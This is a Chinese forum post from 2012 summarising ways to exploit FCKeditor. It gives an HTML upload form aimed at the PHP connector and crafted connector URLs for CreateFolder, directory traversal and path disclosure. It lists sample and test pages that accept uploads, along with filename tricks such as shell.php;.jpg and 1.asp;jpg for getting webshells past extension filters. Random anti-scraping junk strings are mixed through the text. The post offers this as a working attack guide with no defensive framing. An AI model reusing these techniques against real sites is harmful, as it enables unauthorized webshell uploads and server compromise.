找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2420|回复: 0
打印 上一主题 下一主题

Fckeditor漏洞 (2)

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:01:39 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Fckeditor漏洞利用总结  
, E; |1 p* t7 s: I1 |6 Q查看编辑器版本
: x* G1 }2 h! K2 ~* q) qFCKeditor/_whatsnew.html2 Z" k% n% l) Y* R
—————————————————————————————————————————————————————————————
1 ?* }+ J5 x: |# _6 o! e* n) r, F" d; D9 k; q& H- A" _, [
2. Version 2.2 版本  a% s' U  W$ G1 L
Apache+linux 环境下在上传文件后面加个.突破!测试通过。
( R5 _/ A2 ^$ d" \—————————————————————————————————————————————————————————————
. z9 a4 p1 r+ N$ r- z& H; m
  F# O* G; P0 `6 S5 |) j# g- F' X3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。$ i, g' x( X* l- [7 z
<form id="frmUpload" enctype="multipart/form-data"6 i4 K: u8 T3 h6 r% Y' a
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
9 Y+ E# b+ H! P2 W<input type="file" name="NewFile" size="50"><br>3 {/ O' z% t" @4 |: V
<input id="btnUpload" type="submit" value="Upload">: d6 c6 ^# }. @- V, L$ o0 g9 K, J
</form>* y  y) u' F4 L, z
—————————————————————————————————————————————————————————————% `0 G; D. N2 y. C( `& E6 t
/ }( T& D% a/ d& U
4.FCKeditor 文件上传“.”变“_”下划线的绕过方法. a1 q6 p6 f" ?* }8 g) f1 }  Q1 w
        很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。, x1 E* R' q+ M2 ?% A9 p9 W
    4.1:提交shell.php+空格绕过8 W4 ~  _& R2 B& s8 j. J5 |
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
6 \0 J& e2 f7 j% M9 L    4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。5 G+ O+ n6 n& L& J) ]- O, e  c
—————————————————————————————————————————————————————————————
6 L! n  }2 y( S5 n% P7 I% y/ w: }7 R3 m. `7 Q+ s* X  {
5. 突破建立文件夹6 ^" M! B, @, A9 r4 Y$ D
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
6 k, C* b: q; |' p; @1 `- fFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp2 o$ W+ A6 c( s" Q2 j$ I
—————————————————————————————————————————————————————————————
* H$ w4 O/ m# @/ c/ t. F7 q. C. n# ~- z
6. FCKeditor 中test 文件的上传地址
# R* |; b, t3 }' l! i# _FCKeditor/editor/filemanager/browser/default/connectors/test.html0 i6 ]/ {5 w" t
FCKeditor/editor/filemanager/upload/test.html6 W4 ]3 q7 n1 [) {1 q2 A: q! a6 d
FCKeditor/editor/filemanager/connectors/test.html/ m# {# }9 x  h6 W
FCKeditor/editor/filemanager/connectors/uploadtest.html
  L8 `* |3 y! H$ v2 Z—————————————————————————————————————————————————————————————' l! ^1 z2 ]. d

: W0 r0 ?8 Q' c- h! {7.常用上传地址1 Q: j9 U* |6 h# }( ^+ a
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
2 a& z4 p6 b* g' s. r9 N2 z1 mFCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp1 D4 X) A& f' u9 G! |& w+ I
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过): h* a  l& n: ~6 I3 ]6 W
JSP 版:" w: S3 k+ M4 y9 q! Z& ]
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
2 I0 }  c$ h# @2 [注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
" W& k( ?5 J  _8 v  R, E6 S) O$ k( v件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。
- G& N3 ?' K3 X—————————————————————————————————————————————————————————————
7 @! d7 @% @2 f- g, W8 v9 T" ]/ Y0 R# B) T. H. s7 ?
8.其他上传地址
7 ~3 _" b2 s6 JFCKeditor/_samples/default.html
  V/ y; x" }; C. G# g6 D' OFCKeditor/_samples/asp/sample01.asp! Q# i4 a% D7 a: I$ j$ \
FCKeditor/_samples/asp/sample02.asp0 J0 Z) w! }: R& W* s$ |% T, u+ c
FCKeditor/_samples/asp/sample03.asp; p' m; O4 S2 K5 [
FCKeditor/_samples/asp/sample04.asp* S8 S0 G: X, }1 M& P8 _; `4 T* {
一般很多站点都已删除_samples 目录,可以试试。
% L3 g1 ?7 Y3 C  DFCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
7 y% M* ~/ F( s% q/ m—————————————————————————————————————————————————————————————
4 |( }/ Q' I( j4 P) k' }4 _
0 ?2 j+ S( g7 \! M9.列目录漏洞也可助找上传地址( f- F+ E. \& R
Version 2.4.1 测试通过
) F: f: b8 m/ h: s# a9 X6 S) l9 h修改CurrentFolder 参数使用 ../../来进入不同的目录" `/ z0 Z' I/ l/ s0 l
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp0 {* U! H& y* ~: O  m
根据返回的XML 信息可以查看网站所有的目录。
' u: C5 W+ x2 X1 dFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F5 h, h, e" B0 F
也可以直接浏览盘符:
* m% U0 k+ C6 G! p- e0 [% NJSP 版本:
0 e9 @; V) y. H" l2 |& x4 lFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
) g9 p' o% y2 o9 `% W—————————————————————————————————————————————————————————————
+ g  u! d- H1 @: h' B& B1 H7 J( A" P# V) Y6 [$ |  X
10.爆路径漏洞
" o3 a$ J& H) ^5 x/ t" gFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
6 n3 u$ I* i' g: m5 S' K—————————————————————————————————————————————————————————————, z! K; |' Z. s0 M4 \1 p/ I

' ]! k) I' g  p% V7 ]/ S$ O11. FCKeditor 被动限制策略所导致的过滤不严问题
* L) }& W, T! }! ]- r. J% i9 Y        影响版本: FCKeditor x.x <= FCKeditor v2.4.35 P. }6 t3 x1 \! J+ d7 ]. W
脆弱描述:
! w* |3 i9 f0 Q: _FCKeditor v2.4.3 中File 类别默认拒绝上传类型:! V3 g; `" }0 D- O& s2 Z  ^2 B
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm5 L/ x/ U! S4 A/ W# g" w5 w
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
! T' _8 J2 a0 z0 t  t1 |9 B        而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。
, d6 D# L) {* w4 \4 @  a        在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!
$ d6 m& q6 Z# x; Q/ R1 x6 h$ t—————————————————————————————————————————————————————————————
/ d2 l. I6 r2 ?2 i9 H: [* c
  I* U) |3 s' `/ L12.最古老的漏洞,Type文件没有限制!1 N4 K9 T$ {2 Q4 R' e) [6 A
        我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本! ( j; U# K3 M* }8 W6 i7 Z
—————————————————————————————————————————————————————————————! i% c& a) Y# ?2 X% t/ R
* n3 c7 i2 R6 G: {7 e
===============================================================================================================================================" E2 {% V) C0 m; b

' R% j8 _' w: w0 c7 T- ~FCK编辑器jsp版本漏洞:8 H2 P4 Z+ w( }& n* n6 B

1 P' r, j, j5 V0 m% T% ?! d% \! j* a% T7 S2 c
http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
3 o1 S1 ^, W. @, X" R! o  [
  {4 o0 v8 ~! C" m1 U% c  {上传马所在目录$ n2 z7 Y5 B0 \+ T" K& C9 U* c6 m- h
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
4 q5 |) ^( ^8 S3 L( t' X上传shell的地址:0 F  i4 x# W) L; ^2 l5 H; a
http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector
, W2 H' Y: E- j; I8 d3 h: d跟版本有关系.并不是百分百成功. 测试成功几个站." c# l0 M8 j6 o6 O0 |1 C% W
不能通杀.很遗憾.
# e1 i8 a2 K  y% @0 ^http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector
9 |, e6 z3 z1 [/ k! r* ^7 N- p% r如果以上地址不行可以试试
0 B5 c6 G4 j& F4 lFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector
' a: ?7 T8 d4 G) R2 D! b- }FCKeditor/_samples/
0 X! y8 m9 A  f5 z2 ~! bFCKeditor/_samples/default.html) D. u: C$ V# H, K- M
FCKeditor/editor/fckeditor.htm
, |7 u# V+ w- U1 ~5 ^& N: J8 R: nFCKeditor/editor/fckdialog.html4 X1 k7 a8 A5 ~" T
' [% i: K8 _  S

) v; ^# A8 V5 h. k' G( z# {% p3 f) F% S8 G! ^' x( n9 V0 i7 i% w: K+ o
解析漏洞+未重命名文件时上传漏洞  1.asp;jpg
& u7 x+ L6 O$ ]; x& X6 a8 e
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表